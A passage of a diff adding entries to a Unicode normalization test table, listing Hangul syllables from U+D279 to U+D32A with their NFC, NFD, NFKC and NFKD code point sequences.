+{ source: [0xD279], NFC: [0xD279], NFD: [0x1110, 0x1170, 0x11BC], NFKC: [0xD279], NFKD: [0x1110, 0x1170, 0x11BC] },
+{ source: [0xD27A], NFC: [0xD27A], NFD: [0x1110, 0x1170, 0x11BD], NFKC: [0xD27A], NFKD: [0x1110, 0x1170, 0x11BD] },
+{ source: [0xD27B], NFC: [0xD27B], NFD: [0x1110, 0x1170, 0x11BE], NFKC: [0xD27B], NFKD: [0x1110, 0x1170, 0x11BE] },
+{ source: [0xD27C], NFC: [0xD27C], NFD: [0x1110, 0x1170, 0x11BF], NFKC: [0xD27C], NFKD: [0x1110, 0x1170, 0x11BF] },
+{ source: [0xD27D], NFC: [0xD27D], NFD: [0x1110, 0x1170, 0x11C0], NFKC: [0xD27D], NFKD: [0x1110, 0x1170, 0x11C0] },
+{ source: [0xD27E], NFC: [0xD27E], NFD: [0x1110, 0x1170, 0x11C1], NFKC: [0xD27E], NFKD: [0x1110, 0x1170, 0x11C1] },
+{ source: [0xD27F], NFC: [0xD27F], NFD: [0x1110, 0x1170, 0x11C2], NFKC: [0xD27F], NFKD: [0x1110, 0x1170, 0x11C2] },
+{ source: [0xD280], NFC: [0xD280], NFD: [0x1110, 0x1171], NFKC: [0xD280], NFKD: [0x1110, 0x1171] },
+{ source: [0xD281], NFC: [0xD281], NFD: [0x1110, 0x1171, 0x11A8], NFKC: [0xD281], NFKD: [0x1110, 0x1171, 0x11A8] },
+{ source: [0xD282], NFC: [0xD282], NFD: [0x1110, 0x1171, 0x11A9], NFKC: [0xD282], NFKD: [0x1110, 0x1171, 0x11A9] },
+{ source: [0xD283], NFC: [0xD283], NFD: [0x1110, 0x1171, 0x11AA], NFKC: [0xD283], NFKD: [0x1110, 0x1171, 0x11AA] },
+{ source: [0xD284], NFC: [0xD284], NFD: [0x1110, 0x1171, 0x11AB], NFKC: [0xD284], NFKD: [0x1110, 0x1171, 0x11AB] },
+{ source: [0xD285], NFC: [0xD285], NFD: [0x1110, 0x1171, 0x11AC], NFKC: [0xD285], NFKD: [0x1110, 0x1171, 0x11AC] },
+{ source: [0xD286], NFC: [0xD286], NFD: [0x1110, 0x1171, 0x11AD], NFKC: [0xD286], NFKD: [0x1110, 0x1171, 0x11AD] },
+{ source: [0xD287], NFC: [0xD287], NFD: [0x1110, 0x1171, 0x11AE], NFKC: [0xD287], NFKD: [0x1110, 0x1171, 0x11AE] },
+{ source: [0xD288], NFC: [0xD288], NFD: [0x1110, 0x1171, 0x11AF], NFKC: [0xD288], NFKD: [0x1110, 0x1171, 0x11AF] },
+{ source: [0xD289], NFC: [0xD289], NFD: [0x1110, 0x1171, 0x11B0], NFKC: [0xD289], NFKD: [0x1110, 0x1171, 0x11B0] },
+{ source: [0xD28A], NFC: [0xD28A], NFD: [0x1110, 0x1171, 0x11B1], NFKC: [0xD28A], NFKD: [0x1110, 0x1171, 0x11B1] },
+{ source: [0xD28B], NFC: [0xD28B], NFD: [0x1110, 0x1171, 0x11B2], NFKC: [0xD28B], NFKD: [0x1110, 0x1171, 0x11B2] },
+{ source: [0xD28C], NFC: [0xD28C], NFD: [0x1110, 0x1171, 0x11B3], NFKC: [0xD28C], NFKD: [0x1110, 0x1171, 0x11B3] },
+{ source: [0xD28D], NFC: [0xD28D], NFD: [0x1110, 0x1171, 0x11B4], NFKC: [0xD28D], NFKD: [0x1110, 0x1171, 0x11B4] },
+{ source: [0xD28E], NFC: [0xD28E], NFD: [0x1110, 0x1171, 0x11B5], NFKC: [0xD28E], NFKD: [0x1110, 0x1171, 0x11B5] },
+{ source: [0xD28F], NFC: [0xD28F], NFD: [0x1110, 0x1171, 0x11B6], NFKC: [0xD28F], NFKD: [0x1110, 0x1171, 0x11B6] },
+{ source: [0xD290], NFC: [0xD290], NFD: [0x1110, 0x1171, 0x11B7], NFKC: [0xD290], NFKD: [0x1110, 0x1171, 0x11B7] },
+{ source: [0xD291], NFC: [0xD291], NFD: [0x1110, 0x1171, 0x11B8], NFKC: [0xD291], NFKD: [0x1110, 0x1171, 0x11B8] },
+{ source: [0xD292], NFC: [0xD292], NFD: [0x1110, 0x1171, 0x11B9], NFKC: [0xD292], NFKD: [0x1110, 0x1171, 0x11B9] },
+{ source: [0xD293], NFC: [0xD293], NFD: [0x1110, 0x1171, 0x11BA], NFKC: [0xD293], NFKD: [0x1110, 0x1171, 0x11BA] },
+{ source: [0xD294], NFC: [0xD294], NFD: [0x1110, 0x1171, 0x11BB], NFKC: [0xD294], NFKD: [0x1110, 0x1171, 0x11BB] },
+{ source: [0xD295], NFC: [0xD295], NFD: [0x1110, 0x1171, 0x11BC], NFKC: [0xD295], NFKD: [0x1110, 0x1171, 0x11BC] },
+{ source: [0xD296], NFC: [0xD296], NFD: [0x1110, 0x1171, 0x11BD], NFKC: [0xD296], NFKD: [0x1110, 0x1171, 0x11BD] },
+{ source: [0xD297], NFC: [0xD297], NFD: [0x1110, 0x1171, 0x11BE], NFKC: [0xD297], NFKD: [0x1110, 0x1171, 0x11BE] },
+{ source: [0xD298], NFC: [0xD298], NFD: [0x1110, 0x1171, 0x11BF], NFKC: [0xD298], NFKD: [0x1110, 0x1171, 0x11BF] },
+{ source: [0xD299], NFC: [0xD299], NFD: [0x1110, 0x1171, 0x11C0], NFKC: [0xD299], NFKD: [0x1110, 0x1171, 0x11C0] },
+{ source: [0xD29A], NFC: [0xD29A], NFD: [0x1110, 0x1171, 0x11C1], NFKC: [0xD29A], NFKD: [0x1110, 0x1171, 0x11C1] },
+{ source: [0xD29B], NFC: [0xD29B], NFD: [0x1110, 0x1171, 0x11C2], NFKC: [0xD29B], NFKD: [0x1110, 0x1171, 0x11C2] },
+{ source: [0xD29C], NFC: [0xD29C], NFD: [0x1110, 0x1172], NFKC: [0xD29C], NFKD: [0x1110, 0x1172] },
+{ source: [0xD29D], NFC: [0xD29D], NFD: [0x1110, 0x1172, 0x11A8], NFKC: [0xD29D], NFKD: [0x1110, 0x1172, 0x11A8] },
+{ source: [0xD29E], NFC: [0xD29E], NFD: [0x1110, 0x1172, 0x11A9], NFKC: [0xD29E], NFKD: [0x1110, 0x1172, 0x11A9] },
+{ source: [0xD29F], NFC: [0xD29F], NFD: [0x1110, 0x1172, 0x11AA], NFKC: [0xD29F], NFKD: [0x1110, 0x1172, 0x11AA] },
+{ source: [0xD2A0], NFC: [0xD2A0], NFD: [0x1110, 0x1172, 0x11AB], NFKC: [0xD2A0], NFKD: [0x1110, 0x1172, 0x11AB] },
+{ source: [0xD2A1], NFC: [0xD2A1], NFD: [0x1110, 0x1172, 0x11AC], NFKC: [0xD2A1], NFKD: [0x1110, 0x1172, 0x11AC] },
+{ source: [0xD2A2], NFC: [0xD2A2], NFD: [0x1110, 0x1172, 0x11AD], NFKC: [0xD2A2], NFKD: [0x1110, 0x1172, 0x11AD] },
+{ source: [0xD2A3], NFC: [0xD2A3], NFD: [0x1110, 0x1172, 0x11AE], NFKC: [0xD2A3], NFKD: [0x1110, 0x1172, 0x11AE] },
+{ source: [0xD2A4], NFC: [0xD2A4], NFD: [0x1110, 0x1172, 0x11AF], NFKC: [0xD2A4], NFKD: [0x1110, 0x1172, 0x11AF] },
+{ source: [0xD2A5], NFC: [0xD2A5], NFD: [0x1110, 0x1172, 0x11B0], NFKC: [0xD2A5], NFKD: [0x1110, 0x1172, 0x11B0] },
+{ source: [0xD2A6], NFC: [0xD2A6], NFD: [0x1110, 0x1172, 0x11B1], NFKC: [0xD2A6], NFKD: [0x1110, 0x1172, 0x11B1] },
+{ source: [0xD2A7], NFC: [0xD2A7], NFD: [0x1110, 0x1172, 0x11B2], NFKC: [0xD2A7], NFKD: [0x1110, 0x1172, 0x11B2] },
+{ source: [0xD2A8], NFC: [0xD2A8], NFD: [0x1110, 0x1172, 0x11B3], NFKC: [0xD2A8], NFKD: [0x1110, 0x1172, 0x11B3] },
+{ source: [0xD2A9], NFC: [0xD2A9], NFD: [0x1110, 0x1172, 0x11B4], NFKC: [0xD2A9], NFKD: [0x1110, 0x1172, 0x11B4] },
+{ source: [0xD2AA], NFC: [0xD2AA], NFD: [0x1110, 0x1172, 0x11B5], NFKC: [0xD2AA], NFKD: [0x1110, 0x1172, 0x11B5] },
+{ source: [0xD2AB], NFC: [0xD2AB], NFD: [0x1110, 0x1172, 0x11B6], NFKC: [0xD2AB], NFKD: [0x1110, 0x1172, 0x11B6] },
+{ source: [0xD2AC], NFC: [0xD2AC], NFD: [0x1110, 0x1172, 0x11B7], NFKC: [0xD2AC], NFKD: [0x1110, 0x1172, 0x11B7] },
+{ source: [0xD2AD], NFC: [0xD2AD], NFD: [0x1110, 0x1172, 0x11B8], NFKC: [0xD2AD], NFKD: [0x1110, 0x1172, 0x11B8] },
+{ source: [0xD2AE], NFC: [0xD2AE], NFD: [0x1110, 0x1172, 0x11B9], NFKC: [0xD2AE], NFKD: [0x1110, 0x1172, 0x11B9] },
+{ source: [0xD2AF], NFC: [0xD2AF], NFD: [0x1110, 0x1172, 0x11BA], NFKC: [0xD2AF], NFKD: [0x1110, 0x1172, 0x11BA] },
+{ source: [0xD2B0], NFC: [0xD2B0], NFD: [0x1110, 0x1172, 0x11BB], NFKC: [0xD2B0], NFKD: [0x1110, 0x1172, 0x11BB] },
+{ source: [0xD2B1], NFC: [0xD2B1], NFD: [0x1110, 0x1172, 0x11BC], NFKC: [0xD2B1], NFKD: [0x1110, 0x1172, 0x11BC] },
+{ source: [0xD2B2], NFC: [0xD2B2], NFD: [0x1110, 0x1172, 0x11BD], NFKC: [0xD2B2], NFKD: [0x1110, 0x1172, 0x11BD] },
+{ source: [0xD2B3], NFC: [0xD2B3], NFD: [0x1110, 0x1172, 0x11BE], NFKC: [0xD2B3], NFKD: [0x1110, 0x1172, 0x11BE] },
+{ source: [0xD2B4], NFC: [0xD2B4], NFD: [0x1110, 0x1172, 0x11BF], NFKC: [0xD2B4], NFKD: [0x1110, 0x1172, 0x11BF] },
+{ source: [0xD2B5], NFC: [0xD2B5], NFD: [0x1110, 0x1172, 0x11C0], NFKC: [0xD2B5], NFKD: [0x1110, 0x1172, 0x11C0] },
+{ source: [0xD2B6], NFC: [0xD2B6], NFD: [0x1110, 0x1172, 0x11C1], NFKC: [0xD2B6], NFKD: [0x1110, 0x1172, 0x11C1] },
+{ source: [0xD2B7], NFC: [0xD2B7], NFD: [0x1110, 0x1172, 0x11C2], NFKC: [0xD2B7], NFKD: [0x1110, 0x1172, 0x11C2] },
+{ source: [0xD2B8], NFC: [0xD2B8], NFD: [0x1110, 0x1173], NFKC: [0xD2B8], NFKD: [0x1110, 0x1173] },
+{ source: [0xD2B9], NFC: [0xD2B9], NFD: [0x1110, 0x1173, 0x11A8], NFKC: [0xD2B9], NFKD: [0x1110, 0x1173, 0x11A8] },
+{ source: [0xD2BA], NFC: [0xD2BA], NFD: [0x1110, 0x1173, 0x11A9], NFKC: [0xD2BA], NFKD: [0x1110, 0x1173, 0x11A9] },
+{ source: [0xD2BB], NFC: [0xD2BB], NFD: [0x1110, 0x1173, 0x11AA], NFKC: [0xD2BB], NFKD: [0x1110, 0x1173, 0x11AA] },
+{ source: [0xD2BC], NFC: [0xD2BC], NFD: [0x1110, 0x1173, 0x11AB], NFKC: [0xD2BC], NFKD: [0x1110, 0x1173, 0x11AB] },
+{ source: [0xD2BD], NFC: [0xD2BD], NFD: [0x1110, 0x1173, 0x11AC], NFKC: [0xD2BD], NFKD: [0x1110, 0x1173, 0x11AC] },
+{ source: [0xD2BE], NFC: [0xD2BE], NFD: [0x1110, 0x1173, 0x11AD], NFKC: [0xD2BE], NFKD: [0x1110, 0x1173, 0x11AD] },
+{ source: [0xD2BF], NFC: [0xD2BF], NFD: [0x1110, 0x1173, 0x11AE], NFKC: [0xD2BF], NFKD: [0x1110, 0x1173, 0x11AE] },
+{ source: [0xD2C0], NFC: [0xD2C0], NFD: [0x1110, 0x1173, 0x11AF], NFKC: [0xD2C0], NFKD: [0x1110, 0x1173, 0x11AF] },
+{ source: [0xD2C1], NFC: [0xD2C1], NFD: [0x1110, 0x1173, 0x11B0], NFKC: [0xD2C1], NFKD: [0x1110, 0x1173, 0x11B0] },
+{ source: [0xD2C2], NFC: [0xD2C2], NFD: [0x1110, 0x1173, 0x11B1], NFKC: [0xD2C2], NFKD: [0x1110, 0x1173, 0x11B1] },
+{ source: [0xD2C3], NFC: [0xD2C3], NFD: [0x1110, 0x1173, 0x11B2], NFKC: [0xD2C3], NFKD: [0x1110, 0x1173, 0x11B2] },
+{ source: [0xD2C4], NFC: [0xD2C4], NFD: [0x1110, 0x1173, 0x11B3], NFKC: [0xD2C4], NFKD: [0x1110, 0x1173, 0x11B3] },
+{ source: [0xD2C5], NFC: [0xD2C5], NFD: [0x1110, 0x1173, 0x11B4], NFKC: [0xD2C5], NFKD: [0x1110, 0x1173, 0x11B4] },
+{ source: [0xD2C6], NFC: [0xD2C6], NFD: [0x1110, 0x1173, 0x11B5], NFKC: [0xD2C6], NFKD: [0x1110, 0x1173, 0x11B5] },
+{ source: [0xD2C7], NFC: [0xD2C7], NFD: [0x1110, 0x1173, 0x11B6], NFKC: [0xD2C7], NFKD: [0x1110, 0x1173, 0x11B6] },
+{ source: [0xD2C8], NFC: [0xD2C8], NFD: [0x1110, 0x1173, 0x11B7], NFKC: [0xD2C8], NFKD: [0x1110, 0x1173, 0x11B7] },
+{ source: [0xD2C9], NFC: [0xD2C9], NFD: [0x1110, 0x1173, 0x11B8], NFKC: [0xD2C9], NFKD: [0x1110, 0x1173, 0x11B8] },
+{ source: [0xD2CA], NFC: [0xD2CA], NFD: [0x1110, 0x1173, 0x11B9], NFKC: [0xD2CA], NFKD: [0x1110, 0x1173, 0x11B9] },
+{ source: [0xD2CB], NFC: [0xD2CB], NFD: [0x1110, 0x1173, 0x11BA], NFKC: [0xD2CB], NFKD: [0x1110, 0x1173, 0x11BA] },
+{ source: [0xD2CC], NFC: [0xD2CC], NFD: [0x1110, 0x1173, 0x11BB], NFKC: [0xD2CC], NFKD: [0x1110, 0x1173, 0x11BB] },
+{ source: [0xD2CD], NFC: [0xD2CD], NFD: [0x1110, 0x1173, 0x11BC], NFKC: [0xD2CD], NFKD: [0x1110, 0x1173, 0x11BC] },
+{ source: [0xD2CE], NFC: [0xD2CE], NFD: [0x1110, 0x1173, 0x11BD], NFKC: [0xD2CE], NFKD: [0x1110, 0x1173, 0x11BD] },
+{ source: [0xD2CF], NFC: [0xD2CF], NFD: [0x1110, 0x1173, 0x11BE], NFKC: [0xD2CF], NFKD: [0x1110, 0x1173, 0x11BE] },
+{ source: [0xD2D0], NFC: [0xD2D0], NFD: [0x1110, 0x1173, 0x11BF], NFKC: [0xD2D0], NFKD: [0x1110, 0x1173, 0x11BF] },
+{ source: [0xD2D1], NFC: [0xD2D1], NFD: [0x1110, 0x1173, 0x11C0], NFKC: [0xD2D1], NFKD: [0x1110, 0x1173, 0x11C0] },
+{ source: [0xD2D2], NFC: [0xD2D2], NFD: [0x1110, 0x1173, 0x11C1], NFKC: [0xD2D2], NFKD: [0x1110, 0x1173, 0x11C1] },
+{ source: [0xD2D3], NFC: [0xD2D3], NFD: [0x1110, 0x1173, 0x11C2], NFKC: [0xD2D3], NFKD: [0x1110, 0x1173, 0x11C2] },
+{ source: [0xD2D4], NFC: [0xD2D4], NFD: [0x1110, 0x1174], NFKC: [0xD2D4], NFKD: [0x1110, 0x1174] },
+{ source: [0xD2D5], NFC: [0xD2D5], NFD: [0x1110, 0x1174, 0x11A8], NFKC: [0xD2D5], NFKD: [0x1110, 0x1174, 0x11A8] },
+{ source: [0xD2D6], NFC: [0xD2D6], NFD: [0x1110, 0x1174, 0x11A9], NFKC: [0xD2D6], NFKD: [0x1110, 0x1174, 0x11A9] },
+{ source: [0xD2D7], NFC: [0xD2D7], NFD: [0x1110, 0x1174, 0x11AA], NFKC: [0xD2D7], NFKD: [0x1110, 0x1174, 0x11AA] },
+{ source: [0xD2D8], NFC: [0xD2D8], NFD: [0x1110, 0x1174, 0x11AB], NFKC: [0xD2D8], NFKD: [0x1110, 0x1174, 0x11AB] },
+{ source: [0xD2D9], NFC: [0xD2D9], NFD: [0x1110, 0x1174, 0x11AC], NFKC: [0xD2D9], NFKD: [0x1110, 0x1174, 0x11AC] },
+{ source: [0xD2DA], NFC: [0xD2DA], NFD: [0x1110, 0x1174, 0x11AD], NFKC: [0xD2DA], NFKD: [0x1110, 0x1174, 0x11AD] },
+{ source: [0xD2DB], NFC: [0xD2DB], NFD: [0x1110, 0x1174, 0x11AE], NFKC: [0xD2DB], NFKD: [0x1110, 0x1174, 0x11AE] },
+{ source: [0xD2DC], NFC: [0xD2DC], NFD: [0x1110, 0x1174, 0x11AF], NFKC: [0xD2DC], NFKD: [0x1110, 0x1174, 0x11AF] },
+{ source: [0xD2DD], NFC: [0xD2DD], NFD: [0x1110, 0x1174, 0x11B0], NFKC: [0xD2DD], NFKD: [0x1110, 0x1174, 0x11B0] },
+{ source: [0xD2DE], NFC: [0xD2DE], NFD: [0x1110, 0x1174, 0x11B1], NFKC: [0xD2DE], NFKD: [0x1110, 0x1174, 0x11B1] },
+{ source: [0xD2DF], NFC: [0xD2DF], NFD: [0x1110, 0x1174, 0x11B2], NFKC: [0xD2DF], NFKD: [0x1110, 0x1174, 0x11B2] },
+{ source: [0xD2E0], NFC: [0xD2E0], NFD: [0x1110, 0x1174, 0x11B3], NFKC: [0xD2E0], NFKD: [0x1110, 0x1174, 0x11B3] },
+{ source: [0xD2E1], NFC: [0xD2E1], NFD: [0x1110, 0x1174, 0x11B4], NFKC: [0xD2E1], NFKD: [0x1110, 0x1174, 0x11B4] },
+{ source: [0xD2E2], NFC: [0xD2E2], NFD: [0x1110, 0x1174, 0x11B5], NFKC: [0xD2E2], NFKD: [0x1110, 0x1174, 0x11B5] },
+{ source: [0xD2E3], NFC: [0xD2E3], NFD: [0x1110, 0x1174, 0x11B6], NFKC: [0xD2E3], NFKD: [0x1110, 0x1174, 0x11B6] },
+{ source: [0xD2E4], NFC: [0xD2E4], NFD: [0x1110, 0x1174, 0x11B7], NFKC: [0xD2E4], NFKD: [0x1110, 0x1174, 0x11B7] },
+{ source: [0xD2E5], NFC: [0xD2E5], NFD: [0x1110, 0x1174, 0x11B8], NFKC: [0xD2E5], NFKD: [0x1110, 0x1174, 0x11B8] },
+{ source: [0xD2E6], NFC: [0xD2E6], NFD: [0x1110, 0x1174, 0x11B9], NFKC: [0xD2E6], NFKD: [0x1110, 0x1174, 0x11B9] },
+{ source: [0xD2E7], NFC: [0xD2E7], NFD: [0x1110, 0x1174, 0x11BA], NFKC: [0xD2E7], NFKD: [0x1110, 0x1174, 0x11BA] },
+{ source: [0xD2E8], NFC: [0xD2E8], NFD: [0x1110, 0x1174, 0x11BB], NFKC: [0xD2E8], NFKD: [0x1110, 0x1174, 0x11BB] },
+{ source: [0xD2E9], NFC: [0xD2E9], NFD: [0x1110, 0x1174, 0x11BC], NFKC: [0xD2E9], NFKD: [0x1110, 0x1174, 0x11BC] },
+{ source: [0xD2EA], NFC: [0xD2EA], NFD: [0x1110, 0x1174, 0x11BD], NFKC: [0xD2EA], NFKD: [0x1110, 0x1174, 0x11BD] },
+{ source: [0xD2EB], NFC: [0xD2EB], NFD: [0x1110, 0x1174, 0x11BE], NFKC: [0xD2EB], NFKD: [0x1110, 0x1174, 0x11BE] },
+{ source: [0xD2EC], NFC: [0xD2EC], NFD: [0x1110, 0x1174, 0x11BF], NFKC: [0xD2EC], NFKD: [0x1110, 0x1174, 0x11BF] },
+{ source: [0xD2ED], NFC: [0xD2ED], NFD: [0x1110, 0x1174, 0x11C0], NFKC: [0xD2ED], NFKD: [0x1110, 0x1174, 0x11C0] },
+{ source: [0xD2EE], NFC: [0xD2EE], NFD: [0x1110, 0x1174, 0x11C1], NFKC: [0xD2EE], NFKD: [0x1110, 0x1174, 0x11C1] },
+{ source: [0xD2EF], NFC: [0xD2EF], NFD: [0x1110, 0x1174, 0x11C2], NFKC: [0xD2EF], NFKD: [0x1110, 0x1174, 0x11C2] },
+{ source: [0xD2F0], NFC: [0xD2F0], NFD: [0x1110, 0x1175], NFKC: [0xD2F0], NFKD: [0x1110, 0x1175] },
+{ source: [0xD2F1], NFC: [0xD2F1], NFD: [0x1110, 0x1175, 0x11A8], NFKC: [0xD2F1], NFKD: [0x1110, 0x1175, 0x11A8] },
+{ source: [0xD2F2], NFC: [0xD2F2], NFD: [0x1110, 0x1175, 0x11A9], NFKC: [0xD2F2], NFKD: [0x1110, 0x1175, 0x11A9] },
+{ source: [0xD2F3], NFC: [0xD2F3], NFD: [0x1110, 0x1175, 0x11AA], NFKC: [0xD2F3], NFKD: [0x1110, 0x1175, 0x11AA] },
+{ source: [0xD2F4], NFC: [0xD2F4], NFD: [0x1110, 0x1175, 0x11AB], NFKC: [0xD2F4], NFKD: [0x1110, 0x1175, 0x11AB] },
+{ source: [0xD2F5], NFC: [0xD2F5], NFD: [0x1110, 0x1175, 0x11AC], NFKC: [0xD2F5], NFKD: [0x1110, 0x1175, 0x11AC] },
+{ source: [0xD2F6], NFC: [0xD2F6], NFD: [0x1110, 0x1175, 0x11AD], NFKC: [0xD2F6], NFKD: [0x1110, 0x1175, 0x11AD] },
+{ source: [0xD2F7], NFC: [0xD2F7], NFD: [0x1110, 0x1175, 0x11AE], NFKC: [0xD2F7], NFKD: [0x1110, 0x1175, 0x11AE] },
+{ source: [0xD2F8], NFC: [0xD2F8], NFD: [0x1110, 0x1175, 0x11AF], NFKC: [0xD2F8], NFKD: [0x1110, 0x1175, 0x11AF] },
+{ source: [0xD2F9], NFC: [0xD2F9], NFD: [0x1110, 0x1175, 0x11B0], NFKC: [0xD2F9], NFKD: [0x1110, 0x1175, 0x11B0] },
+{ source: [0xD2FA], NFC: [0xD2FA], NFD: [0x1110, 0x1175, 0x11B1], NFKC: [0xD2FA], NFKD: [0x1110, 0x1175, 0x11B1] },
+{ source: [0xD2FB], NFC: [0xD2FB], NFD: [0x1110, 0x1175, 0x11B2], NFKC: [0xD2FB], NFKD: [0x1110, 0x1175, 0x11B2] },
+{ source: [0xD2FC], NFC: [0xD2FC], NFD: [0x1110, 0x1175, 0x11B3], NFKC: [0xD2FC], NFKD: [0x1110, 0x1175, 0x11B3] },
+{ source: [0xD2FD], NFC: [0xD2FD], NFD: [0x1110, 0x1175, 0x11B4], NFKC: [0xD2FD], NFKD: [0x1110, 0x1175, 0x11B4] },
+{ source: [0xD2FE], NFC: [0xD2FE], NFD: [0x1110, 0x1175, 0x11B5], NFKC: [0xD2FE], NFKD: [0x1110, 0x1175, 0x11B5] },
+{ source: [0xD2FF], NFC: [0xD2FF], NFD: [0x1110, 0x1175, 0x11B6], NFKC: [0xD2FF], NFKD: [0x1110, 0x1175, 0x11B6] },
+{ source: [0xD300], NFC: [0xD300], NFD: [0x1110, 0x1175, 0x11B7], NFKC: [0xD300], NFKD: [0x1110, 0x1175, 0x11B7] },
+{ source: [0xD301], NFC: [0xD301], NFD: [0x1110, 0x1175, 0x11B8], NFKC: [0xD301], NFKD: [0x1110, 0x1175, 0x11B8] },
+{ source: [0xD302], NFC: [0xD302], NFD: [0x1110, 0x1175, 0x11B9], NFKC: [0xD302], NFKD: [0x1110, 0x1175, 0x11B9] },
+{ source: [0xD303], NFC: [0xD303], NFD: [0x1110, 0x1175, 0x11BA], NFKC: [0xD303], NFKD: [0x1110, 0x1175, 0x11BA] },
+{ source: [0xD304], NFC: [0xD304], NFD: [0x1110, 0x1175, 0x11BB], NFKC: [0xD304], NFKD: [0x1110, 0x1175, 0x11BB] },
+{ source: [0xD305], NFC: [0xD305], NFD: [0x1110, 0x1175, 0x11BC], NFKC: [0xD305], NFKD: [0x1110, 0x1175, 0x11BC] },
+{ source: [0xD306], NFC: [0xD306], NFD: [0x1110, 0x1175, 0x11BD], NFKC: [0xD306], NFKD: [0x1110, 0x1175, 0x11BD] },
+{ source: [0xD307], NFC: [0xD307], NFD: [0x1110, 0x1175, 0x11BE], NFKC: [0xD307], NFKD: [0x1110, 0x1175, 0x11BE] },
+{ source: [0xD308], NFC: [0xD308], NFD: [0x1110, 0x1175, 0x11BF], NFKC: [0xD308], NFKD: [0x1110, 0x1175, 0x11BF] },
+{ source: [0xD309], NFC: [0xD309], NFD: [0x1110, 0x1175, 0x11C0], NFKC: [0xD309], NFKD: [0x1110, 0x1175, 0x11C0] },
+{ source: [0xD30A], NFC: [0xD30A], NFD: [0x1110, 0x1175, 0x11C1], NFKC: [0xD30A], NFKD: [0x1110, 0x1175, 0x11C1] },
+{ source: [0xD30B], NFC: [0xD30B], NFD: [0x1110, 0x1175, 0x11C2], NFKC: [0xD30B], NFKD: [0x1110, 0x1175, 0x11C2] },
+{ source: [0xD30C], NFC: [0xD30C], NFD: [0x1111, 0x1161], NFKC: [0xD30C], NFKD: [0x1111, 0x1161] },
+{ source: [0xD30D], NFC: [0xD30D], NFD: [0x1111, 0x1161, 0x11A8], NFKC: [0xD30D], NFKD: [0x1111, 0x1161, 0x11A8] },
+{ source: [0xD30E], NFC: [0xD30E], NFD: [0x1111, 0x1161, 0x11A9], NFKC: [0xD30E], NFKD: [0x1111, 0x1161, 0x11A9] },
+{ source: [0xD30F], NFC: [0xD30F], NFD: [0x1111, 0x1161, 0x11AA], NFKC: [0xD30F], NFKD: [0x1111, 0x1161, 0x11AA] },
+{ source: [0xD310], NFC: [0xD310], NFD: [0x1111, 0x1161, 0x11AB], NFKC: [0xD310], NFKD: [0x1111, 0x1161, 0x11AB] },
+{ source: [0xD311], NFC: [0xD311], NFD: [0x1111, 0x1161, 0x11AC], NFKC: [0xD311], NFKD: [0x1111, 0x1161, 0x11AC] },
+{ source: [0xD312], NFC: [0xD312], NFD: [0x1111, 0x1161, 0x11AD], NFKC: [0xD312], NFKD: [0x1111, 0x1161, 0x11AD] },
+{ source: [0xD313], NFC: [0xD313], NFD: [0x1111, 0x1161, 0x11AE], NFKC: [0xD313], NFKD: [0x1111, 0x1161, 0x11AE] },
+{ source: [0xD314], NFC: [0xD314], NFD: [0x1111, 0x1161, 0x11AF], NFKC: [0xD314], NFKD: [0x1111, 0x1161, 0x11AF] },
+{ source: [0xD315], NFC: [0xD315], NFD: [0x1111, 0x1161, 0x11B0], NFKC: [0xD315], NFKD: [0x1111, 0x1161, 0x11B0] },
+{ source: [0xD316], NFC: [0xD316], NFD: [0x1111, 0x1161, 0x11B1], NFKC: [0xD316], NFKD: [0x1111, 0x1161, 0x11B1] },
+{ source: [0xD317], NFC: [0xD317], NFD: [0x1111, 0x1161, 0x11B2], NFKC: [0xD317], NFKD: [0x1111, 0x1161, 0x11B2] },
+{ source: [0xD318], NFC: [0xD318], NFD: [0x1111, 0x1161, 0x11B3], NFKC: [0xD318], NFKD: [0x1111, 0x1161, 0x11B3] },
+{ source: [0xD319], NFC: [0xD319], NFD: [0x1111, 0x1161, 0x11B4], NFKC: [0xD319], NFKD: [0x1111, 0x1161, 0x11B4] },
+{ source: [0xD31A], NFC: [0xD31A], NFD: [0x1111, 0x1161, 0x11B5], NFKC: [0xD31A], NFKD: [0x1111, 0x1161, 0x11B5] },
+{ source: [0xD31B], NFC: [0xD31B], NFD: [0x1111, 0x1161, 0x11B6], NFKC: [0xD31B], NFKD: [0x1111, 0x1161, 0x11B6] },
+{ source: [0xD31C], NFC: [0xD31C], NFD: [0x1111, 0x1161, 0x11B7], NFKC: [0xD31C], NFKD: [0x1111, 0x1161, 0x11B7] },
+{ source: [0xD31D], NFC: [0xD31D], NFD: [0x1111, 0x1161, 0x11B8], NFKC: [0xD31D], NFKD: [0x1111, 0x1161, 0x11B8] },
+{ source: [0xD31E], NFC: [0xD31E], NFD: [0x1111, 0x1161, 0x11B9], NFKC: [0xD31E], NFKD: [0x1111, 0x1161, 0x11B9] },
+{ source: [0xD31F], NFC: [0xD31F], NFD: [0x1111, 0x1161, 0x11BA], NFKC: [0xD31F], NFKD: [0x1111, 0x1161, 0x11BA] },
+{ source: [0xD320], NFC: [0xD320], NFD: [0x1111, 0x1161, 0x11BB], NFKC: [0xD320], NFKD: [0x1111, 0x1161, 0x11BB] },
+{ source: [0xD321], NFC: [0xD321], NFD: [0x1111, 0x1161, 0x11BC], NFKC: [0xD321], NFKD: [0x1111, 0x1161, 0x11BC] },
+{ source: [0xD322], NFC: [0xD322], NFD: [0x1111, 0x1161, 0x11BD], NFKC: [0xD322], NFKD: [0x1111, 0x1161, 0x11BD] },
+{ source: [0xD323], NFC: [0xD323], NFD: [0x1111, 0x1161, 0x11BE], NFKC: [0xD323], NFKD: [0x1111, 0x1161, 0x11BE] },
+{ source: [0xD324], NFC: [0xD324], NFD: [0x1111, 0x1161, 0x11BF], NFKC: [0xD324], NFKD: [0x1111, 0x1161, 0x11BF] },
+{ source: [0xD325], NFC: [0xD325], NFD: [0x1111, 0x1161, 0x11C0], NFKC: [0xD325], NFKD: [0x1111, 0x1161, 0x11C0] },
+{ source: [0xD326], NFC: [0xD326], NFD: [0x1111, 0x1161, 0x11C1], NFKC: [0xD326], NFKD: [0x1111, 0x1161, 0x11C1] },
+{ source: [0xD327], NFC: [0xD327], NFD: [0x1111, 0x1161, 0x11C2], NFKC: [0xD327], NFKD: [0x1111, 0x1161, 0x11C2] },
+{ source: [0xD328], NFC: [0xD328], NFD: [0x1111, 0x1162], NFKC: [0xD328], NFKD: [0x1111, 0x1162] },
+{ source: [0xD329], NFC: [0xD329], NFD: [0x1111, 0x1162, 0x11A8], NFKC: [0xD329], NFKD: [0x1111, 0x1162, 0x11A8] },
+{ source: [0xD32A], NFC: [0xD32A], NFD: [0x1111, 0x1162, 0x11A9], NFKC: [0xD32A], NFKD: [0x1111, 0x1162, 0x11A9] },
